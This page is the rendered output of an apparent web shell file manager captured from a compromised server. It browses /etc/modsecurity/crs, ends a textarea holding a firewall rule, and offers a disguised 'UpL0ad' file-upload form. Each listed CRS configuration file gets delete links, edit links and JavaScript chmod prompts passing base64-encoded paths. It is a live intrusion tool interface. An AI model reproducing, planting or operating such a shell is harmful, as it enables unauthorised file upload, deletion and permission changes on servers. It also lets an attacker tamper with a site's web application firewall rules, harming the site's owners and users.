    pass,\
    t:none,\
    nolog,\
    setvar:tx.crs_setup_version=335&quot;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /etc/modsecurity/crs<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&x=UkVRVUVTVC05MDAtRVhDTFVTSU9OLVJVTEVTLUJFRk9SRS1DUlMuY29uZg==">X</a></td><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=UkVRVUVTVC05MDAtRVhDTFVTSU9OLVJVTEVTLUJFRk9SRS1DUlMuY29uZg=="/>REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=UkVRVUVTVC05MDAtRVhDTFVTSU9OLVJVTEVTLUJFRk9SRS1DUlMuY29uZg==&c=`+btoa(c):0" value="0644"></td><td>7658</td></tr><tr><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&x=UkVTUE9OU0UtOTk5LUVYQ0xVU0lPTi1SVUxFUy1BRlRFUi1DUlMuY29uZg==">X</a></td><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=UkVTUE9OU0UtOTk5LUVYQ0xVU0lPTi1SVUxFUy1BRlRFUi1DUlMuY29uZg=="/>RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=UkVTUE9OU0UtOTk5LUVYQ0xVU0lPTi1SVUxFUy1BRlRFUi1DUlMuY29uZg==&c=`+btoa(c):0" value="0644"></td><td>3071</td></tr><tr><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&x=Y3JzLXNldHVwLmNvbmY=">X</a></td><td><a href="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=Y3JzLXNldHVwLmNvbmY="/>crs-setup.conf</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM=&f=Y3JzLXNldHVwLmNvbmY=&c=`+btoa(c):0" value="0644"></td><td>35016</td></tr></table>